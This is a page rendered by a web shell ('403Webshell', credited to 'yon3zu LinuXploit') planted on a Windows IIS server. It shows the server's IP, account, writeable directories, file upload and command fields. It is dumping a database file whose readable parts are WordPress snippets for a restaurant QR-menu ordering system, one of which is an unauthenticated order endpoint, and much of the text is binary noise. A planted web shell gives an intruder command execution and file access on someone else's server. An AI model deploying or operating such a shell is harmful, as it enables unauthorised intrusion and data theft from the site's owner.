403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.42
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MariaDB 10.6/data/openposfnb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MariaDB 10.6/data/openposfnb/wp_snippets.ibd
����������-@��������������������������&&��������������������������-v�2�����������G��G�71�����������-���������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i���������������������������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i���������������������������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i����������������������������������������������������������������������������������������������������������������������������������-������������'�E���

(�2!infimumsupremum
4��&��Make upload filenames lowercaseMakes sure that image and file uploads have lowercase filenames.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'sanitize_file_name', 'mb_strtolower' );sample, mediaglobal��
����%�	s��c��Disable admin barTurns off the WordPress admin bar for everyone except administrators.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_action( 'wp', function () {
	if ( ! current_user_can( 'manage_options' ) ) {
		show_admin_bar( false );
	}
} );sample, admin-barfront-end��
����%���r
 ��Allow smiliesAllows smiley conversion in obscure places.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'widget_text', 'convert_smilies' );
add_filter( 'the_title', 'convert_smilies' );
add_filter( 'wp_title', 'convert_smilies' );
add_filter( 'get_bloginfo', 'convert_smilies' );sampleglobal��
����%�
��(���Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
����%���0��Record Table Numberadd_action('init', function() {
    if (isset($_GET['table'])) {
        WC()->session->set('table_number', sanitize_text_field($_GET['table']));
    }
});global��
������׀8&��Create New Orderadd_action('woocommerce_checkout_create_order', function($order, $data) {
    $table = WC()->session->get('table_number');
    if ($table) {
        $order->update_meta_data('Table Number', $table);
    }
}, 10, 2);global��
������@6��backend show tableadd_action('woocommerce_admin_order_data_after_billing_address', function($order){
    $table = $order->get_meta('Table Number');
    if ($table) {
        echo '<p><strong>Table:</strong> ' . esc_html($table) . '</p>';
    }
});global��
������;�H���POS & Receipt Viewadd_filter('woocommerce_order_item_get_formatted_meta_data', function($formatted_meta, $item){
    $table = WC()->session->get('table_number');
    if ($table) {
        $formatted_meta[] = (object)[
            'key' => 'Table',
            'value' => $table
        ];
    }
    return $formatted_meta;
}, 10, 2);global��
�������P�	�jump into menuadd_action('template_redirect', function() {
    if (isset($_GET['table']) && !is_shop()) {
        wp_redirect(home_url('/shop/?table=' . $_GET['table']));
        exit;
    }
});global��
������ՀX(�
�Check out show tableadd_action('woocommerce_review_order_before_submit', function(){
    $table = WC()->session->get('table_number');
    if ($table) {
        echo '<p><strong>Table:</strong> ' . esc_html($table) . '</p>';
    }
});global��
����Ȁ�
`d��QR Menu JSadd_action('wp_footer', function() {
    if (is_page('menu')) {
?>
<script>

let cart = [];

function addToCart(id, name, price) {
    let found = cart.find(item => item.id === id);

    if (found) {
        found.qty += 1;
    } else {
        cart.push({ id, name, price, qty: 1 });
    }

    renderCart();
}

function changeQty(id, change) {
    let item = cart.find(i => i.id === id);
    if (!item) return;

    item.qty += change;

    if (item.qty <= 0) {
        cart = cart.filter(i => i.id !== id);
    }

    renderCart();
}

function renderCart() {
    let html = '';
    let total = 0;

    cart.forEach(item => {
        total += item.price * item.qty;

        html += `
        <div>
            ${item.name} x ${item.qty}
            <button onclick="changeQty(${item.id}, -1)">-</button>
            <button onclick="changeQty(${item.id}, 1)">+</button>
        </div>
        `;
    });

    html += `<h3>Total: RM ${total.toFixed(2)}</h3>`;
    html += `<button onclick="placeOrder()">Place Order</button>`;

    document.getElementById('cart').innerHTML = html;
}

// AJAX URL
const ajax_url = "<?php echo admin_url('admin-ajax.php'); ?>";

function placeOrder() {

    let table = new URLSearchParams(window.location.search).get('table');

    fetch(ajax_url, {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: new URLSearchParams({
            action: 'create_pos_order',
            items: JSON.stringify(cart),
            table: table
        })
    })
    .then(res => res.json())
    .then(data => {
        if (data.success) {
            alert("Order Placed! #" + data.data.order_id);
            cart = [];
            renderCart();
        } else {
            alert("Error");
        }
    });
}

</script>
<?php
    }
});global��
����F��܃h*��Create Order APIadd_action('wp_ajax_nopriv_create_pos_order', 'create_pos_order');
add_action('wp_ajax_create_pos_order', 'create_pos_order');

function create_pos_order() {

    if (!isset($_POST['items'])) {
        wp_send_json_error('No items');
    }

    $items = json_decode(stripslashes($_POST['items']), true);
    $table = sanitize_text_field($_POST['table']);

    $order = wc_create_order();

    foreach ($items as $item) {
        $product = wc_get_product($item['id']);
        if ($product) {
            $order->add_product($product, $item['qty']);
        }
    }

    $order->set_address([
        'first_name' => 'QR',
        'last_name'  => 'Order',
        'phone'      => '000000000',
        'email'      => 'qr@order.com'
    ], 'billing');

    $order->update_meta_data('Table Number', $table);

    $order->set_payment_method('cod'); // 关键!

    $order->calculate_totals();
    $order->save();

    wp_send_json_success([
        'order_id' => $order->get_id()
    ]);
}global��
����<�Ep�`�
�POS Enable REST APIadd_filter('pos_enable_rest_ful', function () {
    return false;
});global��
����C�p��c��'�^zX����������L��E���r
 �9)r�Zinfimumsupremum+global�	��front-end� )global�(��content�0global�8global�@global�Hglobal�Pglobal�	Xglobal�
`global�hglobal�p��global�
p�c�L����v�����������'�E�J�3
!z*�2infimumsupremum���� ��(p��0���8*��
@��	 HP��X��`�g��
h��p���� x�������pA�c��'��_i

Youez - 2016 - github.com/yon3zu
LinuXploit